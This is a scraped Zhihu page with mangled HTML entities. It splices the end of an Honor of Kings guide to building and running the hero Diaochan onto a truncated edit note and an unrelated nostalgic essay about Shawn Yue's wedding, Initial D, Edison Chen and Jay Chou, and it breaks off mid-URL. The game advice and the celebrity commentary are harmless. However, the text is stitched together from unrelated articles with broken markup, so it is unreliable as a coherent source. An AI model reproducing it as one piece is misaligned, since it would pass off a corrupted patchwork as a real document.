进不进场，哪怕只是在外围消耗都能有进无出的，只有不断1技能给敌方挂印记卖队友才是正道，你只要保证在两边消耗的差不多你能收割全场就行，千万别表现欲太强，现在是诸葛亮高渐离的时代，貂蝉就像没落的王者，秀还是能秀的，但你要矜持要沉住气，要记住你是仙女，不再是以前冲进人堆啪啪啪就随随便便四杀五杀到手的傻大姐了。&/p&&p&二、装备选择&/p&&p&如今貂蝉应该怎么出装？&/p&&p&谈貂蝉的话得从s2开始，以前的貂蝉是以&b&真实伤害&/b&为傲的，圣杯回响cd爆发流切无论是人是鬼，切坦克都跟切纸一样，因为那年的貂蝉秒人成本太低，231给谁都扛不住，被动回血还跟ap加成有关，也没有制裁梦魇这种装备，所以可以放心大胆的出纯输出装。不过现在随便一个c位都具有秒人能力，这个没控还要贴脸的法师不得以要走上出肉的不归路。从s2削到s5，貂蝉技能的伤害一削再削，而真实伤害又只跟ap加成有关（0.64），那么问题来了，真实伤害与你出的输出装多少成正比，没有出大量输出装能力的貂蝉靠什么输出？&/p&&p&答案是&b&大面具的被动&/b&，在s2的时候貂蝉的核心输出装是回响和大帽子，因为貂蝉的真伤被动是aoe范围伤害，回响的被动也是范围伤害，那个年代人物基础血量低，而aoe伤害的特点是群体，这个伤害在人与人贴的非常近的时候，伤害是成倍的。但现在人物血量动辄上万，回响那50点基础被动伤害和靠ap加成的附加伤害根本不适合貂蝉，而且回响的cd效果与面具不同是不独立的，5秒就是5秒，你打了一个人触发了被动，这5秒内打其他人都不会触发，和面具不同，面具是对每个敌人有独立的cd计算所以回响在这个版本除非你纯输出否则实在不适合出，哪怕为了移速也请换成制裁。&/p&&p&由于真实伤害不吸血，貂蝉没输出装ap加成低，技能法术伤害奇低，所以现在貂蝉的核心装备是大面具而不是血书，没错你看到的回血更多的是你的被动回血，打开训练营裸出血书几乎不回血，回血也是被动回血，值得注意的一点是，王者荣耀对法师这一块，有一个吸血衰减机制，而且貂蝉的吸血衰减非常大，所以完全没有第一件出吸血书的必要。&b&所以貂蝉目前的核心装备是大面具。&/b&&/p&&p&&br&&/p&&p&所以我建议貂蝉绿色带10cd的符文，这样出门做一个圣者宝典拿了蓝就能38cd几乎满cd了，血书先不合成，优先迅速做出大面具：&/p&&p&&br&&/p&&figure&&img src=&https://pic2.zhimg.com/50/v2-1d3a3b3031eeeb1f2f1517_b.jpg& data-rawwidth=&1920& data-rawheight=&1080& class=&origin_image zh-lightbox-thumb& width=&1920& data-original=&https://pic2.zhimg.com/50/v2-1d3a3b3031eeeb1f2f1517_r.jpg&&&/figure&&p&有了面具伤害才能质变，鞋子换任性鞋，貂蝉没得选&/p&&p&&br&&/p&&figure&&img src=&https://pic4.zhimg.com/50/v2-10e5ec93fae_b.jpg& data-rawwidth=&1920& data-rawheight=&1080& class=&origin_image zh-lightbox-thumb& width=&1920& data-original=&https://pic4.zhimg.com/50/v2-10e5ec93fae_r.jpg&&&/figure&&p&&br&&/p&&p&做完了面具再合成血书，才没有浪费血书的价值。&/p&&p&&br&&/p&&figure&&img src=&https://pic1.zhimg.com/50/v2-2e31e20c3ae5b19bf8685f_b.jpg& data-rawwidth=&1920& data-rawheight=&1080& class=&origin_image zh-lightbox-thumb& width=&1920& data-original=&https://pic1.zhimg.com/50/v2-2e31e20c3ae5b19bf8685f_r.jpg&&&/figure&&p&&br&&/p&&p&后面的物理防御装优先选择极寒风暴而不是冰痕之握，因为貂蝉开大满cd状态你去普攻就完全浪费了貂蝉的满cd输出性质，会拖累输出，这一点张大仙测试过，所以貂蝉最好别做这件装备，冰寒现在同样有减速效果，就更没必要出了。&/p&&p&&br&&/p&&figure&&img src=&https://pic1.zhimg.com/50/v2-b74ee3bbb2c0a1acd9715_b.jpg& data-rawwidth=&1920& data-rawheight=&1080& class=&origin_image zh-lightbox-thumb& width=&1920& data-original=&https://pic1.zhimg.com/50/v2-b74ee3bbb2c0a1acd9715_r.jpg&&&/figure&&p&&br&&/p&&p&第三件输出装有很多选择比如操作流喜欢的金身，克制对方吸血的梦魇，增加真实伤害的大帽子，我在这里推荐的是法穿杖!没错就是法穿杖，你会说貂蝉不是真实伤害吃饭的嘛，干嘛脱屁放裤子？因为半肉的貂蝉ap加成相当低，真实伤害那一套是s2赛季纯输出貂蝉玩的，你现在的出完面具血书鞋子冰心加上符文你的真实伤害才400点不到，还是在触发印记才400点真实伤害，而这时出了4件装备都算中后期了，半肉都快1w血了，你连续10次印记触发才4000血，问题是10次触发要40个印记，你能打多少个印记？还在觉得半肉貂蝉在靠真实伤害输出？&/p&&p&&br&&/p&&figure&&img src=&https://pic2.zhimg.com/50/v2-b5aee21b611094_b.jpg& data-rawwidth=&1920& data-rawheight=&1080& class=&origin_image zh-lightbox-thumb& width=&1920& data-original=&https://pic2.zhimg.com/50/v2-b5aee21b611094_r.jpg&&&/figure&&p&&br&&/p&&p&毫无疑问目前大面具之于貂蝉，相当于末世之于马可波罗，真实伤害更像是辅助伤害，既然貂蝉是不断的靠大面具被动吃饭，那么大面具的被动可是法术伤害，所以别人出了魔女这种法抗你出了大面具也打不动是很正常的，所以要提高大面具的被动伤害的前提是有法穿，所以貂蝉在打中高端局，比如砖石和王者局出法穿杖是理所当然的，kpl也都是法穿杖，非征兆的话我推荐大帽子或者贤者杖。&/p&&p&&br&&/p&&figure&&img src=&https://pic4.zhimg.com/50/v2-fd77a56f081d2069bfe21ac37dfee2e1_b.jpg& data-rawwidth=&1920& data-rawheight=&1080& class=&origin_image zh-lightbox-thumb& width=&1920& data-original=&https://pic4.zhimg.com/50/v2-fd77a56f081d2069bfe21ac37dfee2e1_r.jpg&&&/figure&&p&&br&&/p&&p&&br&&/p&&p&&br&&/p&&p&最后法抗装的选择的话，我是建议魔女而并非不死鸟，虽然不死鸟的属性非常适合貂蝉啊，但最后期最后一件法抗装备你出不死鸟显然是站不住的，而且人家法师这时法穿杖都做好了，后期也会针对你，妲己小乔这种角色还没等你秀都231带走你，魔女不但法抗更高，而且护盾就加了2000血，你的不死鸟想在团战多吸2000血几乎不可能，所以你看kpl也更多的是魔女而不是不死鸟。&/p&&p&所以貂蝉最后的6神装是这样的:&/p&&p&&br&&/p&&p&&br&&/p&&figure&&img src=&https://pic4.zhimg.com/50/v2-fec0ccb199c695dcc1af672_b.jpg& data-rawwidth=&1920& data-rawheight=&1080& class=&origin_image zh-lightbox-thumb& width=&1920& data-original=&https://pic4.zhimg.com/50/v2-fec0ccb199c695dcc1af672_r.jpg&&&/figure&&p&三、符文选择&/p&&p&蓝色5狩猎5贪婪，绿色10怜悯，红色10梦魇&/p&&p&貂蝉340的基础移速，比姜子牙都慢，我还是选择放弃一点吸血选择加移速，毕竟实在是太慢了，影响操作。绿色10%冷却，即使最后溢出5的cd也不算浪费，前期占足了便宜。红色选择梦魇而不是圣人，是因为那点法强不如法穿实在。&/p&&p&&br&&/p&&figure&&img src=&https://pic4.zhimg.com/50/v2-91bee20ab0fbae16e07950_b.jpg& data-rawwidth=&1920& data-rawheight=&1080& class=&origin_image zh-lightbox-thumb& width=&1920& data-original=&https://pic4.zhimg.com/50/v2-91bee20ab0fbae16e07950_r.jpg&&&/figure&
10月4号修改:饿，说好暂时不更的，但有人私信到反甲虽然更便宜但合成不够平滑，经济在手但不能买装备。所以整体出装依然是按照9月28日写的顺序来，但我觉得更好的解决方案是把反甲换成守护者之铠，这样做的好处是，前期并不需要做的那么肉，守护者之凯之后…
&p&&b&余文乐的结婚让我意识到，一代人的青春已经慢慢过去了。&/b&&/p&&p&刚刚你的朋友圈一定被6叔刷屏了，虽然有许多人只是跟风走一波6叔结婚照，但却有一张图引起了我的注意，这就是：&i&&b&陈冠希、余文乐以及周杰伦主演的头文字D。&/b&&/i&&/p&&p&&br&&/p&&figure&&img src=&https://pic3.zhimg.com/50/v2-ef0dfffe96a5afeabba9_b.jpg& data-caption=&& data-size=&normal& data-rawwidth=&550& data-rawheight=&558& class=&origin_image zh-lightbox-thumb& width=&550& data-original=&https://pic3.zhimg.com/50/v2-ef0dfffe96a5afeabba9_r.jpg&&&/figure&&p&&br&&/p&&p&&br&&/p&&p&我依稀记得，在2005年头文字D上映的时候，我还刚刚上初一，那时陈冠希的CLOT才刚刚创办两年，JAY当年的《七里香》横扫各大颁奖礼，而余文乐，也还不是那个工装很帅的6叔。&i&&b&那段时间，很多人的MP3里还都播放着JAY的一首首经典。&/b&&/i&&/p&&p&&br&&/p&&p&&br&&/p&&figure&&img src=&https://pic3.zhimg.com/50/v2-aa51ec69b19bdde0c678f_b.jpg& data-caption=&& data-size=&normal& data-rawwidth=&500& data-rawheight=&375& class=&origin_image zh-lightbox-thumb& width=&500& data-original=&https://pic3.zhimg.com/50/v2-aa51ec69b19bdde0c678f_r.jpg&&&/figure&&p&&br&&/p&&p&在头文字D中，三位男神的颜值迷倒了很多人，而余文乐与EDC的经典对决也从颜值到赛道，那个时候我们不会想到，&i&&b&从那时起，他们的比赛注定已经开始。而我们更想象不到的是，不知道从什么时候起，他们已经成了很多人心中的潮流ICON。&/b&&/i&&/p&&p&&br&&/p&&p&&br&&/p&&figure&&img src=&https://pic3.zhimg.com/50/v2-c6f0e3ebd_b.jpg& data-caption=&& data-size=&normal& data-rawwidth=&580& data-rawheight=&310& class=&origin_image zh-lightbox-thumb& width=&580& data-original=&https://pic3.zhimg.com/50/v2-c6f0e3ebd_r.jpg&&&/figure&&p&&br&&/p&&p&头文字D上映时，陈冠希25岁，余文乐24岁，周杰伦26岁，而在过去的12年，&i&&b&很多人也从年少无知，到长大成人了。&/b&&/i& &/p&&p&&br&&/p&&p&&br&&/p&&figure&&img src=&https://pic4.zhimg.com/50/v2-ca7ad68315ecfbcccbeb9e_b.jpg& data-caption=&& data-size=&normal& data-rawwidth=&500& data-rawheight=&363& class=&origin_image zh-lightbox-thumb& width=&500& data-original=&https://pic4.zhimg.com/50/v2-ca7ad68315ecfbcccbeb9e_r.jpg&&&/figure&&p&&br&&/p&&p&余文乐在去年的一个采访中说：“&b&我已经35岁了，无所谓了&/b&”，其实我们能看出，6叔是很想成家的，自己的品牌做的很好，电影也还蛮不错，而他能找到自己的春娇，也是早晚的事情。 &/p&&p&&br&&/p&&a class=&video-box& href=&//link.zhihu.com/?target=https%3A//www.zhihu.com/video/299648& target=&_blank& data-video-id=&& data-video-playable=&true& data-name=&& data-poster=&https://pic2.zhimg.com/80/v2-ddead66e879ccb398d873d_b.jpg& data-lens-id=&299648&&
&img class=&thumbnail& src=&https://pic2.zhimg.com/80/v2-ddead66e879ccb398d873d_b.jpg&&&span class=&content&&
&span class=&title&&&span class=&z-ico-extern-gray&&&/span&&span class=&z-ico-extern-blue&&&/span&&/span&
&span class=&url&&&span class=&z-ico-video&&&/span&https://www.zhihu.com/video/299648&/span&
&/a&&p&我们不必提王裳云的过去，毕竟我们根本不知道他们两个人在一起经历过什么，有这个时间为什么不想想怎么还单身呢？&/p&&figure&&img src=&https://pic4.zhimg.com/50/v2-7fbe38fc7ebf_b.jpg& data-caption=&& data-size=&normal& data-rawwidth=&640& data-rawheight=&640& class=&origin_image zh-lightbox-thumb& width=&640& data-original=&https://pic4.zhimg.com/50/v2-7fbe38fc7ebf_r.jpg&&&/figure&&p&&br&&/p&&p&&br&&/p&&figure&&img src=&https://pic1.zhimg.com/50/v2-f89af8680bcccb15c00d54_b.jpg& data-caption=&& data-size=&normal& data-rawwidth=&600& data-rawheight=&720& class=&origin_image zh-lightbox-thumb& width=&600& data-original=&https://pic1.zhimg.com/50/v2-f89af8680bcccb15c00d54_r.jpg&&&/figure&&p&&br&&/p&&p&&br&&/p&&p&在写这篇文章的时候，网易云弹出了一句话：“&b&&i&志明已经找到了他的春娇，所有人最后都会遇到爱情&/i&&/b&”。我不知道6叔等春娇等了多少年，但我知道，很多人已经把青春，都等没了。&/p&&p&&br&&/p&&p&&br&&/p&&figure&&img src=&https://pic3.zhimg.com/50/v2-bad6ba772735ccdbdab0411dbc53ecd7_b.jpg& data-caption=&& data-size=&normal& data-rawwidth=&640& data-rawheight=&640& class=&origin_image zh-lightbox-thumb& width=&640& data-original=&https://pic3.zhimg.com/50/v2-bad6ba772735ccdbdab0411dbc53ecd7_r.jpg&&&/figure&&p&&br&&/p&&p&&br&&/p&&p&6叔是很爱小孩子的，是不是他很快也会在结婚后抱上小孩子呢？ &/p&&p&&br&&/p&&figure&&img src=&https://pic4.zhimg.com/50/v2-ddc56fd7f3c65cdc2492fb_b.jpg& data-caption=&& data-size=&normal& data-rawwidth=&640& data-rawheight=&640& class=&origin_image zh-lightbox-thumb& width=&640& data-original=&https://pic4.zhimg.com/50/v2-ddc56fd7f3c65cdc2492fb_r.jpg&&&/figure&&p&&br&&/p&&p&&br&&/p&&figure&&img src=&https://pic2.zhimg.com/50/v2-15f3fdb7cf46f4f19fc00_b.jpg& data-caption=&& data-size=&normal& data-rawwidth=&640& data-rawheight=&640& class=&origin_image zh-lightbox-thumb& width=&640& data-original=&https://pic2.zhimg.com/50/v2-15f3fdb7cf46f4f19fc00_r.jpg&&&/figure&&p&&br&&/p&&p&&br&&/p&&p&毕竟陪伴我们青春的另外一位偶像EDC，早已经功成名就，&b&&i&他现在除了给我们设计一些好看的NIKE外，更重要的就是陪家人了吧。&br&&/i&&/b&&/p&&p&&br&&/p&&b&&i&&figure&&img src=&https://pic1.zhimg.com/50/v2-7e10d26c5a6bc9f1bcafd1_b.jpg& data-caption=&& data-size=&normal& data-rawwidth=&640& data-rawheight=&640& class=&origin_image zh-lightbox-thumb& width=&640& data-original=&https://pic1.zhimg.com/50/v2-7e10d26c5a6bc9f1bcafd1_r.jpg&&&/figure&&/i&&/b&&p&&br&&/p&&p&&br&&/p&&p&EDC不仅教会了你卷裤脚，可能还教会了你怎么爱家人，他对家人的爱也从来不遮遮掩掩，在INNERSECT展会上，巡展的同时也会和秦舒培一起画个肖像。&b&&i&这个还是你认识当中的浪子吗？当然不是，时间是可以改变一个人的最好方法。&/i&&/b&&/p&&p&&br&&/p&&figure&&img src=&https://pic1.zhimg.com/50/v2-ac3cc0c42f8f44ac1b8ac23a_b.jpg& data-caption=&& data-size=&normal& data-rawwidth=&640& data-rawheight=&640& class=&origin_image zh-lightbox-thumb& width=&640& data-original=&https://pic1.zhimg.com/50/v2-ac3cc0c42f8f44ac1b8ac23a_r.jpg&&&/figure&&p&&br&&/p&&p&他早已经不是头文字D里的高强凉介，已经过去整整的12年，一代人最青春美好的时代，已经随着EDC走过去，&b&&i&他已经成为了他最想成为的人，你呢？&/i&&/b&&/p&&p&&br&&/p&&p&&br&&/p&&figure&&img src=&https://pic2.zhimg.com/50/v2-603e1f1c67b56d1e139ae_b.jpg& data-caption=&& data-size=&normal& data-rawwidth=&600& data-rawheight=&326& class=&origin_image zh-lightbox-thumb& width=&600& data-original=&https://pic2.zhimg.com/50/v2-603e1f1c67b56d1e139ae_r.jpg&&&/figure&&p&&br&&/p&&p&很多人喜欢在周杰伦的演唱会上求婚，这是见证很多纯真美好爱情的最好见证人，JAY的歌无疑影响了很多人，可我不知道什么时候起，&b&&i&那个唱着《三年二班》的男生也成了两个孩子的爸爸。&/i&&/b&&/p&&p&&br&&/p&&figure&&img src=&https://pic1.zhimg.com/50/v2-fb27eb22bf1c6d023e35b_b.jpg& data-caption=&& data-size=&normal& data-rawwidth=&640& data-rawheight=&640& class=&origin_image zh-lightbox-thumb& width=&640& data-original=&https://pic1.zhimg.com/50/v2-fb27eb22bf1c6d023e35b_r.jpg&&&/figure&&p&&br&&/p&&p&当周杰伦与昆凌结婚的时候，粉丝们齐齐让这位小姑娘保护好他们心目中的王子，“他的腰不好”，“注意他的嗓子”等等，&b&&i&时间一晃，JAY的孩子都已经长大了。&/i&&/b&&/p&&p&&br&&/p&&figure&&img src=&https://pic4.zhimg.com/50/v2-567c8e7e49cb5a2e92bee_b.jpg& data-caption=&& data-size=&normal& data-rawwidth=&640& data-rawheight=&640& class=&origin_image zh-lightbox-thumb& width=&640& data-original=&https://pic4.zhimg.com/50/v2-567c8e7e49cb5a2e92bee_r.jpg&&&/figure&&p&&br&&/p&&p&&br&&/p&&figure&&img src=&https://pic1.zhimg.com/50/v2-03fb3cbfba2dcc1ecb39bb40_b.jpg& data-caption=&& data-size=&normal& data-rawwidth=&640& data-rawheight=&640& class=&origin_image zh-lightbox-thumb& width=&640& data-original=&https://pic1.zhimg.com/50/v2-03fb3cbfba2dcc1ecb39bb40_r.jpg&&&/figure&&p&&br&&/p&&p&&br&&/p&&p&JAY的结婚让我很开心的看到王子找到公主，EDC与秦舒培让我看到了陈老师的担当，而余文乐的结婚，&b&&i&让我却看到了一代人青春的落幕。&/i&&/b&&/p&&p&&br&&/p&&p&&br&&/p&&figure&&img src=&https://pic4.zhimg.com/50/v2-da97b501d5df8ad8e8f4f8e9ed3f32c2_b.jpg& data-caption=&& data-size=&normal& data-rawwidth=&640& data-rawheight=&640& class=&origin_image zh-lightbox-thumb& width=&640& data-original=&https://pic4.zhimg.com/50/v2-da97b501d5df8ad8e8f4f8e9ed3f32c2_r.jpg&&&/figure&&p&&br&&/p&&p&&b&我一直不相信那句：在对的时间，遇到对的人。&/b&&/p&&p&&b&我的青春都过去了，可还是没有遇见你。&/b&&/p&&p&&br&&/p&&figure&&img src=&https://pic2.zhimg.c